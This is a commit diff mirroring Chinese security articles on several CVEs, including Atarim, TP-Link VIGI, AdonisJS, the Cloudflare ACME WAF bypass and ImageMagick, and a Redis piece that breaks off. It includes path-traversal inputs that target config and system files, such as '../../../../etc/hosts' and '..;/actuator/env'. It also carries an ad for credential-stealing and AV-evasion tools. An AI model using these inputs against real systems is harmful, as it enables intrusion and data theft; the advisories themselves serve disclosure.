mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
DeepAudit——代码漏洞挖掘多智能体ai系统、CVE-2025-60188 Atarim 插件身份验证绕过漏洞、漏洞预警 | 东胜物流软件任意文件上传漏洞、漏洞情报(已验证) | 中成科信票务管理系统 SaleProduct.ashx SQL注入漏洞、CVE-2026-0629:TP-Link VIGI漏洞允许攻击者重置管理员密码、SweetBabyScan,一款轻量级内网资产探测漏洞扫描工具、复现(CVE-2026-21440)@adonisjs∕bodyparser路径遍历漏洞利用、网安实验干货每日分享XSS漏洞分类-0121、漏洞预警 | 金和OA SQL注入漏洞、一文解析 .NET 分布式事务组件反序列化漏洞、Cloudflare修复了ACME验证漏洞,该漏洞允许绕过WAF访问源服务器、ImageMagick 安全警报 (CVE-2026-23876):“XBM”图像上传触发大规模堆溢出、【红队】一款专业的多协议漏洞利用与攻击模拟平台、CVE-2026-21440 AdonisJS框架的关键路径遍历漏洞、Redis远程代码执行漏洞曝光:研究人员详细描述了官方容器中针对“简单”堆栈溢出的漏洞利用方法、漏洞预警 | ComfyUI-Manager远程代码执行漏洞、当 Stack Engine 背叛了 CPU:详解 AMD 最新硬件级漏洞 StackWarp、ShiroExploit_通过另类手法实现Shiro一把梭、流量之眼 - 智能被动漏洞扫描平台、【40万POC???】小场面,看纽克如何拿捏海量POC场景、【全网首发】2025 0∕1∕N Day漏洞清单(超长版)、可访问全球任意主机:Cloudflare WAF 0-day漏洞剖析、Cloudflare WAF 零日漏洞:可访问全球任何主机、
This commit is contained in:
1 parent
0d83dd278a
commit
b56dc808cf
24 files changed
+2429
-56
No files matched your search
@@ -16880,5 +16880,28 @@
|
||||
"https://mp.weixin.qq.com/s/qF1TAKWiTC11SS3kGaefkw": "工具推荐 | Swagger API漏洞自动化填充参数利用工具",
|
||||
"https://mp.weixin.qq.com/s/iYyM2y6ucPgfs1PTs6Fpcw": "Cloudflare曝零日漏洞:攻击者可借证书验证路径绕过WAF访问任意源站",
|
||||
"https://mp.weixin.qq.com/s/wXYL-QvkaZHnKKfDxUUOgQ": "DeepAudit——代码漏洞挖掘多智能体ai系统",
|
||||
"https://mp.weixin.qq.com/s/LdVOZQlsZNxV9N-ejmYjkw": "大小写即漏洞:sqli-labs 第 27 ∕ 27a 关通关全解析"
|
||||
"https://mp.weixin.qq.com/s/LdVOZQlsZNxV9N-ejmYjkw": "大小写即漏洞:sqli-labs 第 27 ∕ 27a 关通关全解析",
|
||||
"https://mp.weixin.qq.com/s/EoNFdD_FYBgna9jGi1Qxew": "DeepAudit——代码漏洞挖掘多智能体ai系统",
|
||||
"https://mp.weixin.qq.com/s/W05-fdErYbJVg6rHPWR2cA": "CVE-2025-60188 Atarim 插件身份验证绕过漏洞",
|
||||
"https://mp.weixin.qq.com/s/bmCWNdDkgoL9vw_w5ezfzw": "漏洞预警 | 东胜物流软件任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/DuZr2YjuGRdzfmwHkNZqQQ": "漏洞情报(已验证) | 中成科信票务管理系统 SaleProduct.ashx SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/bTwiDDF_e5AOHVLrwkQTCQ": "CVE-2026-0629:TP-Link VIGI漏洞允许攻击者重置管理员密码",
|
||||
"https://mp.weixin.qq.com/s/xEUHkMqbdsvrSjMOvj1FgQ": "SweetBabyScan,一款轻量级内网资产探测漏洞扫描工具",
|
||||
"https://mp.weixin.qq.com/s/AnQSGEY_O2v53cjdIq57Dw": "复现(CVE-2026-21440)@adonisjs∕bodyparser路径遍历漏洞利用",
|
||||
"https://mp.weixin.qq.com/s/F8RsqiH_3AhDzXy3yt1Tyg": "网安实验干货每日分享XSS漏洞分类-0121",
|
||||
"https://mp.weixin.qq.com/s/JlNw3RDiA3tNYT44DhISDw": "漏洞预警 | 金和OA SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/zNwv0w0gMmhgaWLA4bgpdw": "一文解析 .NET 分布式事务组件反序列化漏洞",
|
||||
"https://mp.weixin.qq.com/s/2TCqGHaMP-cSwueyZYYZlg": "Cloudflare修复了ACME验证漏洞,该漏洞允许绕过WAF访问源服务器",
|
||||
"https://mp.weixin.qq.com/s/N-C4nOQ9FdPpdmw9teY_OA": "ImageMagick 安全警报 (CVE-2026-23876):“XBM”图像上传触发大规模堆溢出",
|
||||
"https://mp.weixin.qq.com/s/vtypoVflLaesW0nsnY48zw": "【红队】一款专业的多协议漏洞利用与攻击模拟平台",
|
||||
"https://mp.weixin.qq.com/s/4QUyKEmv1qfm9lLQEcJUUg": "CVE-2026-21440 AdonisJS框架的关键路径遍历漏洞",
|
||||
"https://mp.weixin.qq.com/s/E3hZnLfIjpqKSjoVCXJ14w": "Redis远程代码执行漏洞曝光:研究人员详细描述了官方容器中针对“简单”堆栈溢出的漏洞利用方法",
|
||||
"https://mp.weixin.qq.com/s/x2G8z7_PAQ0ASGxFEsSK_Q": "漏洞预警 | ComfyUI-Manager远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/ijrV5xSRx6a2CzFUrlw_CA": "当 Stack Engine 背叛了 CPU:详解 AMD 最新硬件级漏洞 StackWarp",
|
||||
"https://mp.weixin.qq.com/s/ZfCZJU4lZrZg8BJFdl343w": "ShiroExploit_通过另类手法实现Shiro一把梭",
|
||||
"https://mp.weixin.qq.com/s/1iy0aoBNc0b3dvMC1AzjUg": "流量之眼 - 智能被动漏洞扫描平台",
|
||||
"https://mp.weixin.qq.com/s/wZUjoI-UknD3klfEYeNcLg": "【40万POC???】小场面,看纽克如何拿捏海量POC场景",
|
||||
"https://mp.weixin.qq.com/s/VH4Gvt_pAy3ik0Yfm-6ADw": "【全网首发】2025 0∕1∕N Day漏洞清单(超长版)",
|
||||
"https://mp.weixin.qq.com/s/HOMtm3b2Kh9FqN2LkKd8Uw": "可访问全球任意主机:Cloudflare WAF 0-day漏洞剖析",
|
||||
"https://mp.weixin.qq.com/s/eJU8djVlEW2tnxBksnOdvA": "Cloudflare WAF 零日漏洞:可访问全球任何主机"
|
||||
}
|
||||
@@ -1,21 +1,77 @@
|
||||
# CVE-2025-60188 Atarim 插件身份验证绕过漏洞
|
||||
TtTeam 2026-01-20 00:08
|
||||
星夜AI安全
|
||||
星夜AI安全 星夜AI安全 2026-01-21 00:20
|
||||
|
||||
CVE-2025-60188 是 Atarim WordPress 插件中发现的一个严重漏洞。此漏洞允许未经身份验证的用户绕过安全措施并访问敏感的系统信息。
|
||||
📌各位可以将公众号设为星标⭐
|
||||
|
||||
技术描述:该漏洞源于基于 HMAC 的身份验证实现不安全。应用程序使用可预测或已泄露的内部 ID(site_id)作为密钥,对管理 AJAX 操作请求进行签名。
|
||||
📌这样就不会错过每期的推荐内容啦~
|
||||
|
||||
漏洞流程:信息泄露:site_id 通过面向公众的 REST API 端点暴露。
|
||||
📌这对我真的很重要!
|
||||
|
||||
签名伪造:由于密钥(站点 ID)已知,攻击者可以使用 HMAC-SHA256 算法在本地计算有效的请求签名。
|
||||

|
||||
|
||||
权限提升:通过在标头中提供伪造的签名,攻击者可以获得对受保护函数(如 wpf_website_users 和 wpf_website_details)的访问权限。
|
||||
📌1. 本平台分享的安全知识和工具信息源于公开资料及专业交流,仅供个人学习提升安全意识、了解防护手段,禁止用于任何违法活动,否则使用者自行承担法律后果。
|
||||
|
||||
影响信息泄露:未经授权访问用户个人身份信息(姓名、电子邮件、角色)。
|
||||
📌2. 所分享内容及工具虽具普遍性,但因场景、版本、系统等因素,无法保证完全适用,使用者要自行承担知识运用不当、工具使用故障带来的损失。
|
||||
|
||||
配置泄露:系统设置和潜在许可证密钥暴露。
|
||||
📌3. 使用者在学习操作过程中务必遵守法规道德,面对有风险环节需谨慎预估后果、做好防护,若未谨慎操作引发信息泄露、设备损坏等不良后果,责任自负。
|
||||
|
||||
补救措施:用户应立即将 Atarim 插件更新至最新补丁版本。建议开发者使用高熵密钥(例如 wp_salt())并实现恒定时间比对以进行签名验证。
|
||||
**CVE-2025-60188 是 Atarim WordPress 插件中识别出的一个高危安全漏洞。**
|
||||
该漏洞使得未经身份验证的用户能够规避安全防护,并获取敏感的系统数据。
|
||||
|
||||
**技术原理分析:**
|
||||
此漏洞的根源在于基于 HMAC 的身份验证机制存在缺陷。具体而言,应用程序使用了一个可预测或可能已泄露的内部标识符(site_id
|
||||
)作为密钥,来为管理 AJAX 操作请求生成签名。
|
||||
|
||||
**漏洞利用过程:**
|
||||
1. **信息泄露:**site_id
|
||||
通过一个公开的 REST API 接口被暴露。
|
||||
|
||||
1. **签名伪造:**
|
||||
由于密钥(即站点 ID)已知,攻击者可以在本地使用 HMAC-SHA256 算法计算出有效的请求签名。
|
||||
|
||||
1. **权限提升:**
|
||||
通过在请求头中提供伪造的签名,攻击者便能成功访问本应受保护的功能模块,例如 wpf_website_users
|
||||
和 wpf_website_details
|
||||
。
|
||||
|
||||
**造成的影响:**
|
||||
- **信息泄露:**
|
||||
导致用户个人身份信息(包括姓名、邮箱、角色)被未授权访问。
|
||||
|
||||
- **配置泄露:**
|
||||
造成系统设置乃至潜在的许可证密钥等敏感配置信息被暴露。
|
||||
|
||||
**修复方案:**
|
||||
用户应立即将 Atarim 插件升级至最新的、已修复该漏洞的版本。对于开发者,建议采用高熵值的密钥(例如 wp_salt()
|
||||
函数生成的值)并对签名验证过程实施恒定时间比较,以增强安全性。
|
||||
|
||||

|
||||
|
||||
关注微信公众号后台回复**入群**
|
||||
即可加入星夜AI安全交流群
|
||||
|
||||
## 圈子介绍
|
||||
|
||||
现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获“最佳攻击手”“突出贡献个人”等荣誉。
|
||||
|
||||
已产出的安全工具及成果包括:
|
||||
- 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护)
|
||||
|
||||
- 内网穿透套件(适配多层路由、隔离网络环境的隐蔽流量转发)
|
||||
|
||||
- 权限维持工具集(含注册表、系统服务、进程隐藏等多维持久化方案)
|
||||
|
||||
- 哥斯拉/冰蝎定制化马生成器(绕过主流终端防护与EDR动态检测)
|
||||
|
||||
- 浏览器凭证窃取工具(支持Chrome/Edge/Firefox等主流浏览器数据提取)
|
||||
|
||||
- 二开fscan内网扫描工具(增强指纹精度、弱口令爆破与结果标准化输出)
|
||||
|
||||
- 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护)
|
||||
|
||||
- 免杀360专属加载器(支持Shellcode内存执行,绕过360全系防护检测)
|
||||
|
||||
后续将不断更新到内部圈子中 欢迎加入圈子 
|
||||
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# CVE-2026-0629:TP-Link VIGI漏洞允许攻击者重置管理员密码
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-01-21 00:46
|
||||
|
||||
TP-Link VIGI系列监控摄像头被发现存在严重安全
|
||||
漏洞,攻击者可利用该漏洞绕过身份验证,获取摄像头的完全管理权限。该漏洞已在最新的安全公告中详细说明,主要影响摄像头本地Web界面的密码恢复功能。
|
||||
|
||||
该漏洞编号为 CVE-2026-0629,严重性等级为 CVSS 8.7。它源于设备验证密码重置请求的方式存在缺陷。
|
||||
|
||||
该公告解释说: “VIGI 摄像机本地 Web 界面密码恢复功能中的身份验证绕过漏洞允许 LAN 上的攻击者通过操纵客户端状态来重置管理员密码而无需验证。”
|
||||
|
||||
从本质上讲,连接到与摄像头同一局域网 (LAN) 的攻击者可以欺骗系统重置管理员密码,而无需提供必要的身份证明。
|
||||
|
||||
这个漏洞的影响非常严重。一旦攻击者重置密码,他们就可以以管理员身份登录,从而不受限制地访问摄像头的设置和视频流。
|
||||
|
||||
“攻击者可以获得设备的完全管理权限,从而破坏配置和网络安全,”该建议称。
|
||||
|
||||
这种级别的访问权限可能允许入侵者禁用录制、更改网络设置或转向网络上的其他设备。
|
||||
|
||||
该公告列出了受影响的众多型号,包括 VIGI C340、C440、C540 和 InSight 系列。TP-Link 已发布固件更新来解决这些产品线的问题。
|
||||
|
||||
例如,广受欢迎的 VIGI C340 2.0 型号已在固件版本 2.1.0 Build 250701 Rel.49304n 或更高版本中修复。强烈建议用户对照公告中提供的完整列表,核对自己的具体型号和固件版本。
|
||||
|
||||
TP-Link建议所有受影响设备的用户立即更新固件,以修复此安全漏洞。您可以在所在地区的TP-Link官方下载中心找到固件更新。
|
||||
|
||||
参考链接:
|
||||
|
||||
https://www.tp-link.com/us/support/faq/4899/
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# CVE-2026-21440 AdonisJS框架的关键路径遍历漏洞
|
||||
TtTeam 2026-01-21 00:48
|
||||
|
||||
AdonisJS 在多部分文件上传过程中错误地信任用户提供的文件名。
|
||||
|
||||

|
||||
|
||||
当开发人员调用时:
|
||||
|
||||
```
|
||||
MultipartFile.move()
|
||||
```
|
||||
|
||||
|
||||
如果没有严格的过滤措施,攻击者可以提交如下文件名:
|
||||
```
|
||||
../../../../app/config/startup.js
|
||||
```
|
||||
|
||||
这样一来,它们就可以绕过预定的上传目录,将文件写入服务器上的任意位置。
|
||||
|
||||
攻击者可能:
|
||||
|
||||
📂在服务器进程拥有权限的任何位置写入任意文件
|
||||
|
||||
🧨覆盖应用程序文件或配置文件
|
||||
|
||||
🖥️实现远程代码执行(RCE)
|
||||
|
||||
🌐无需身份验证即可远程利用此漏洞
|
||||
|
||||
这使得该漏洞对公共文件上传端点尤其危险。
|
||||
### 易受攻击
|
||||
- @adonisjs/bodyparser
|
||||
**≤ 10.1.1**
|
||||
|
||||
- 11.x11.0.0-next.6 之前的预发布版本
|
||||
### 🔐 立即修复
|
||||
|
||||
➡️尽快**升级**到已修复的版本。****
|
||||
### 🧯 临时缓解措施
|
||||
|
||||
如果目前还无法升级:
|
||||
- 🧼 清理文件名(拒绝../绝对路径、空字节)
|
||||
- 🧩 使用安全选项MultipartFile.move()
|
||||
- 🔒 上传端点需要身份验证
|
||||
- 📁 限制文件系统写入权限
|
||||
- 🧱 使用 WAF 检测路径遍历尝试
|
||||

|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
# Cloudflare WAF 零日漏洞:可访问全球任何主机
|
||||
助力行业的
|
||||
助力行业的 李白你好 2026-01-21 00:02
|
||||
|
||||
## 前言
|
||||
|
||||
**Cloudflare 的 Web 应用程序防火墙 (WAF) 中存在一个严重的零日漏洞,攻击者可以利用该漏洞绕过安全控制,并通过证书验证路径直接访问受保护的源服务器。**
|
||||
|
||||

|
||||
|
||||
或者,当 .well-known 远远超出 WAF 的范围。几乎所有现代网站上都存在一个专为机器而非人类设计的 URL。它位于 /.well-known/acme-challenge/
|
||||
下,在证书颁发期间的几秒钟内,一个机器人会访问它来检查你是否真正控制该域名。这个访问本应是平淡无奇的,一项例行无声的任务。但在这种情况下,这个安静的路径变得非常喧闹!
|
||||
|
||||
这篇报告讲述了针对该证书路径的流量如何即使在应用程序的其他部分被客户规则阻止时也能到达 Cloudflare 背后的源站,为什么这很重要,我们如何谨慎证明这一点,以及问题现在如何修复。它是为想要细节的研究人员和需要大局而不需教科书的安全领导者撰写的。
|
||||
## ACME 的 60 秒入门
|
||||
|
||||
ACME 是证书颁发机构验证域名控制的协议。在 HTTP-01 方法中,CA 期望你的站点在 /.well-known/acme-challenge/{token}
|
||||
处提供一个一次性令牌。CA 会像其他任何客户端一样通过普通 HTTPS 获取该令牌;如果字节匹配,则颁发证书。意图是严格而最小化的:让机器人读取一个非常特定路径下的小文件,仅此而已。ACME 通道是为携带剪贴板的机器人准备的,而不是一群溜过守卫的人群。
|
||||
## 不符合的观察
|
||||
|
||||
我们正在审查一组应用程序的访问态势,其中 WAF 配置为阻止全世界,只允许特定来源。在其他地方,WAF 完全按照其描述行事。但当我们将请求指向 /.well-known/acme-challenge/{token}
|
||||
时,WAF 退到一边,源站用自己的声音回应。这个谁在说话的单一变化——Cloudflare 插页 vs. 源框架——就是线索。
|
||||
|
||||
为了确保我们不是在追逐特定租户的错误配置,我们在 Cloudflare 后面启动了我们的受控演示主机,这些主机默认对正常流量阻塞:
|
||||
|
||||
在普通路径下,你会遇到阻塞页面。将相同的请求指向 ACME 挑战路径,并使用任何真实令牌,你会得到源站生成的响应,通常是框架 404。即使没有头部,这种差异也是可见的:一个页面是 Cloudflare 的,另一个明显是应用程序的。
|
||||
## 我们信任的信号
|
||||
|
||||
在演示主机上,我们使用小型、幂等的请求,并在令牌后附加一个无害的后缀(例如,在令牌后添加 **/ae**
|
||||
)来显示无需真实 ACME 文件即可出现该行为。在每种情况下,我们都在本应遇到 WAF 的地方收到了源站响应。
|
||||
|
||||
以下是演示环境的代表性截图。第一张图片显示正常请求在 Cloudflare 的阻塞页面结束。第二张显示我们用于阻塞演示中 cf- 主机名的自定义规则。接下来的三张显示每个演示主机在请求针对 ACME 路径时返回源站生成的 404。
|
||||
#### 阻塞页面(正常请求)
|
||||
|
||||

|
||||
#### 自定义规则 - 阻塞 cf-* 主机名
|
||||
|
||||
在演示中,我们创建了一个规则,阻塞任何包含 cf- 的主机名。在生产环境中,许多团队阻塞公共互联网,只允许公司 VPN 出口。此规则模拟了演示的态势。
|
||||
|
||||

|
||||
#### 源站 404 (Next.js)
|
||||
|
||||

|
||||
#### 源站 404 (Spring)
|
||||
|
||||

|
||||
#### 源站 404 (PHP)
|
||||
|
||||

|
||||
## 我们如何获得稳定的挑战令牌
|
||||
|
||||
为了可重复的演示,我们想要一个不会在中途消失的挑战令牌。Cloudflare 的 SSL/TLS 自定义主机名功能允许你管理 CNAME 到你的域名的第三方主机名和证书。我们添加了一个名为 cf-well-known.fearsoff.org
|
||||
的自定义主机名,并明确选择了 HTTP 验证。下面的截图显示了添加流程和结果的待验证状态。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我们故意没有为 cf-well-known.fearsoff.org
|
||||
创建 DNS 记录,因此颁发保持无限期挂起。在挂起状态下,Cloudflare 会显示验证机器人最终会请求的 HTTP-01 URL,例如:
|
||||
|
||||
http://cf-well-known.fearsoff.org/.well-known/acme-challenge/yMnWOcR2yv0yW-...Jm5QksreNRDUmqKfKPTk
|
||||
|
||||
我们没有完成验证,也没有在该路径放置任何挑战文件。目标是为我们的 WAF 行为测试锚定一个确定的、长寿命的令牌形状,而无需与真实 CA 竞争。有了令牌,我们可以在全球所有 Cloudflare 主机上行使 /.well-known/acme-challenge/{token}
|
||||
路由。
|
||||
## 为什么这在实践中重要
|
||||
|
||||
WAF 控制旨在成为前门。当单个维护路径绕过该门时,“内部”的定义就会移动。在实际意义上,/.well-known/acme-challenge/...
|
||||
的信任边界从 WAF 滑向源站。一旦源站从互联网可寻址——即使只有一个路由——普通 bug 就会获得网络路径,普通页面就会成为侦察。
|
||||
|
||||
以下是我们演示中这种转变的样子。
|
||||
#### Spring / Tomcat
|
||||
|
||||
在正常态势下,actuator 端点位于 WAF 和内部网络控制后面。通过 ACME 路径到达应用程序改变了该边界。使用某些 servlet 栈中著名的遍历 quirk ( **..;/**
|
||||
),请求可以落在 **/actuator/env**
|
||||
上并返回进程环境和配置。这些数据通常包括敏感值——数据库 URL、API 令牌、云密钥——它实质上提高了源站中任何错误的爆炸半径。
|
||||
|
||||

|
||||
|
||||
服务器端渲染框架通常将服务器派生的值发送到客户端以水合页面。当 WAF 拥有前门时,这是没问题的。当源站直接响应时,同一页面可以暴露从未打算从公共互联网可达的操作细节。
|
||||
|
||||

|
||||
#### PHP 路由
|
||||
|
||||
许多 PHP 应用程序通过 **index.php**
|
||||
路由所有请求,并使用查询参数选择视图。当该模式携带 LFI bug 时,公共可达性会将其转化为文件读取。请求 **../../../../etc/hosts**
|
||||
就足以证明影响。在我们的演示中,即使是 404 流程也通过 **index.php**
|
||||
路由,这就是为什么一旦源站开始直接说话,它就会暴露额外页面。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这些演示是后果,而不是原因。根问题是特殊路径上的 WAF 决策。一旦门打开,源站内任何脆弱的东西突然就只需一个请求。
|
||||
## 不只是 404s - 账户 WAF 规则被忽略
|
||||
|
||||
为了证明这不仅仅是绕道到框架 404,我们配置了账户级 WAF 规则来阻塞携带哨兵头部的请求。在根路径下,带有 **X-middleware-subrequest:**
|
||||
的请求如预期被阻塞。针对 ACME 路径的相同请求被允许并由应用程序服务。换句话说,本应停止请求的账户规则对于该路径未被评估。
|
||||
|
||||
为什么这个区别重要?许多真实应用程序基于头部做出决策,或将头部值传递到下游代码中。当检查头部的 WAF 规则被跳过时,整个类问题重新获得通往源站的路由:遗留代码中的头部驱动 SQL 连接、通过 **X-Forwarded-Host**
|
||||
或 **X-Original-URL**
|
||||
的 SSRF 和主机混淆、当缓存基于头部变化时的缓存键中毒、使用 **X-HTTP-Method-Override**
|
||||
的方法覆盖技巧,以及连接到自定义头部的调试切换。显而易见的问题随之而来——有多少应用程序仍然比他们应该的更信任头部,有多少依赖 WAF 站在这种信任和互联网之间?
|
||||
## 可能发生什么以及修复
|
||||
|
||||
我们在调查期间的工作假设是 **/.well-known/acme-challenge/**
|
||||
下的请求在不同的代码路径上被评估——一个隐式例外,旨在帮助证书验证,在客户阻塞控制之前执行。这将解释 ACME 路径下的一致源站响应和其他地方的阻塞页面。
|
||||
|
||||
2025 年 10 月 27 日,Cloudflare 部署了修复。我们重新测试了相同的模式,并观察到预期的行为:WAF 统一应用客户规则,包括在 **/.well-known/acme-challenge/**
|
||||
上。无聊的路径再次变得无聊。
|
||||
## AI 和新攻击面
|
||||
|
||||
像这种 WAF 绕过漏洞在不断演变的 AI 驱动攻击中变得更加紧迫。由机器学习驱动的自动化工具可以快速枚举和利用暴露的路径,如 /.well-known/acme-challenge/
|
||||
,大规模探测框架特定弱点或错误配置。
|
||||
|
||||
例如,一个训练用于识别 servlet 遍历 quirk 或 PHP 路由 bug 的 AI 模型可以将此绕过与针对性负载链起来,将狭窄的维护路径转化为广泛的攻击向量。相反,AI 驱动的安全工具可以通过模拟这些攻击场景来帮助防御者,正如我们在与 Crypto[.]com 安全团队的合作中看到的,他们使用 AI 分析来验证问题。随着源站变得直接可寻址,AI 攻击者和防御者之间的竞赛加剧,使得稳健的 WAF 控制比以往更重要。
|
||||
## 时间线
|
||||
- 2025 年 10 月 9 日 - 通过 HackerOne 提交。
|
||||
|
||||
- 2025 年 10 月 13 日 - 供应商验证开始。
|
||||
|
||||
- 2025 年 10 月 14 日 - HackerOne 分诊。
|
||||
|
||||
- 2025 年 10 月 27 日 - 最终修复部署;重新测试确认已修复。
|
||||
|
||||
## 结语
|
||||
|
||||
最危险的 bug 往往从例行细节开始。证书机器人的通道绝不应成为侧门。
|
||||
|
||||
参考链接:https://fearsoff.org/research/cloudflare-acme
|
||||
## 网络安全情报攻防站
|
||||
|
||||
**www.libaisec.com**
|
||||
|
||||
综合性的技术交流与资源共享社区
|
||||
|
||||
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# Cloudflare修复了ACME验证漏洞,该漏洞允许绕过WAF访问源服务器
|
||||
原创 ZM
|
||||
ZM 暗镜 2026-01-21 01:00
|
||||
|
||||
Cloudflare 已修复影响其自动证书管理环境 ( ACME ) 验证逻辑的安全漏洞,该漏洞使得绕过安全控制和访问源服务器成为可能。
|
||||
|
||||
“漏洞根源在于我们边缘网络处理发往 ACME HTTP-01 挑战路径 (/.well-known/acme-challenge/*) 的请求的方式,”网络基础设施公司的 Hrushikesh Deshpande、Andrew Mitchell 和 Leland Garofalo 表示。
|
||||
|
||||
这家网络基础设施公司表示,他们没有发现任何证据表明该漏洞曾被恶意利用。
|
||||
|
||||
ACME 是一种通信协议(RFC 8555),它能够自动颁发、续订和吊销 SSL/TLS 证书。证书颁发机构 (CA) 为网站提供的每个证书都会通过挑战进行验证,以证明域名所有权。
|
||||
|
||||
此过程通常使用 ACME 客户端(例如Certbot)来实现,该客户端通过HTTP-01(或 DNS-01)质询来验证域名所有权并管理证书生命周期。HTTP-01 质询会检查位于 Web 服务器“https://<YOUR_DOMAIN>/.well-known/acme-challenge/<TOKEN>”的验证令牌和密钥指纹,并通过 HTTP 端口 80 进行通信。
|
||||
|
||||
CA 的服务器会向该 URL 发送 HTTP GET 请求以检索文件。验证成功后,证书将被颁发,CA 会将 ACME 帐户(即其服务器上的注册实体)标记为有权管理该特定域名。
|
||||
|
||||
如果该挑战来自 Cloudflare 管理的证书订单,则 Cloudflare 将按照上述路径响应,并将 CA 提供的令牌提供给调用方。但如果该挑战与 Cloudflare 管理的订单无关,则请求将被路由到客户源站,该源站可能使用不同的系统进行域名验证。
|
||||
|
||||

|
||||
|
||||
这样做是因为这些特性可能会干扰 CA 验证令牌值的能力,并导致自动证书订购和续订失败。但是,如果使用的令牌与不同的区域关联,并且并非由 Cloudflare 直接管理,则请求将被允许继续发送到客户源服务器,而无需 WAF 规则集进行进一步处理。
|
||||
|
||||
FearsOff 的创始人兼首席执行官 Kirill Firsov 表示,恶意用户可以利用此漏洞获取确定性的、长期有效的令牌,并访问 Cloudflare 所有主机上的源服务器上的敏感文件,从而打开侦察之门。
|
||||
|
||||
Cloudflare 通过代码更改解决了该漏洞,该更改仅在请求与该主机名的有效 ACME HTTP-01 质询令牌匹配时才提供响应并禁用 WAF 功能。
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
# DeepAudit——代码漏洞挖掘多智能体ai系统
|
||||
原创 一个人挺好
|
||||
一个人挺好 一个人挺好 wa 2026-01-20 13:35
|
||||
天黑说嘿话 2026-01-21 01:10
|
||||
|
||||
# 项目地址
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
# ImageMagick 安全警报 (CVE-2026-23876):“XBM”图像上传触发大规模堆溢出
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-01-21 00:52
|
||||
|
||||
ImageMagick 是一款应用广泛的图像处理库,为从社交媒体平台到内容管理系统等各种应用提供支持。该漏洞被追踪编号为 CVE-2026-23876,攻击者只需上传一个精心构造的 XBM 图像文件,即可触发大规模堆缓冲区溢出。
|
||||
|
||||
该漏洞的CVSS 评分为 8.1,对任何处理不受信任图像的 Web 服务都构成重大风险,可能导致内存损坏或崩溃。
|
||||
|
||||
该漏洞存在于 XBM 图像解码器 (coders/xbm.c) 中,该组件负责处理 X Window 系统位图格式。根本原因是典型的整数截断——程序认为需要的内存量与实际使用的内存量之间存在数学上的不匹配。
|
||||
|
||||
根据漏洞报告,该问题发生在软件计算新图像的缓冲区大小时。它会获取图像的行数(一个 64 位值)并将其转换为 32 位无符号整数。
|
||||
|
||||
“在第 349-350 行,image->rows(一个 size_t 类型)被截断为 unsigned int 类型进行内存分配……然而,第 369-377 行的写入循环使用了原始的、未被截断的 image->rows 值。”
|
||||
|
||||
这会造成危险的偏差。如果攻击者为图像行提供了一个极大的值(例如 0x500000001),系统会截断该数字,仅分配一个很小的缓冲区(约 1 字节)。然而,后续循环并不会收到此通知;它仍然会根据原始的极大值写入数据。
|
||||
|
||||
“循环迭代次数:每行字节数 * 21474836481 → 大量溢出”。
|
||||
|
||||
这种溢出攻击之所以特别危险,是因为攻击者拥有极高的控制权。报告指出,“溢出大小”由图像尺寸(行和列)控制,而“写入的数据量”则由 XBM 文件中的十六进制值控制。
|
||||
|
||||
这使得攻击者能够将受控字节(0x00-0xFF)写入超出已分配缓冲区的范围,从而覆盖堆上的关键内存结构。
|
||||
|
||||
由于 ImageMagick 是 Web 的基础构建模块,因此该漏洞的影响范围非常广泛。报告重点介绍了几个关键目标:
|
||||
- 网络服务:任何具有图像上传功能的网站,例如缩略图生成器或格式转换器。
|
||||
- 内容管理系统:像 WordPress 和 Drupal 这样的流行平台通常依赖 ImageMagick 后端来处理媒体库。
|
||||
- CI/CD 流水线:处理用户提交的图像或资源的自动化系统。
|
||||
攻击途径很简单:“任何使用 ImageMagick 处理不受信任图像的应用程序”都容易受到简单的网络上传攻击。
|
||||
|
||||
该漏洞影响 ImageMagick 7.1.2-13 和 6.9.13-38 之前的版本。
|
||||
|
||||
维护人员已发布补丁程序,修复了整数截断逻辑的问题。强烈建议使用 ImageMagick 的管理员和开发人员立即升级到 7.1.2-13 或 6.9.13-38 版本,以降低远程攻击的风险。
|
||||
|
||||
参考链接:
|
||||
|
||||
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r49w-jqq3-3gx8
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
# Redis远程代码执行漏洞曝光:研究人员详细描述了官方容器中针对“简单”堆栈溢出的漏洞利用方法
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-01-21 00:50
|
||||
|
||||
JFrog安全研究公司的安全研究人员公开披露了 Redis 中一个高危漏洞的完整利用链,证明“老式”栈缓冲区溢出在 2026 年仍然非常活跃,而且很危险。
|
||||
|
||||
该漏洞编号为 CVE-2025-62507,CVSS 评分为 8.8,影响 Redis 8.2.0 至 8.2.2 版本。尽管官方公告已警告存在潜在风险,但 JFrog 团队决定进一步探索,看看能否实现完整的远程代码执行 (RCE)。他们的探索最终成功。
|
||||
|
||||
缺陷在于 XACKDEL 命令,这是为优化流处理而引入的一项新功能。该命令允许用户在单个原子操作中确认并删除多条消息。然而,其实现未能考虑到基本的边界检查。
|
||||
|
||||
分析报告指出: “核心问题是代码没有验证客户端提供的 ID 数量是否符合此栈分配数组的边界。”
|
||||
|
||||
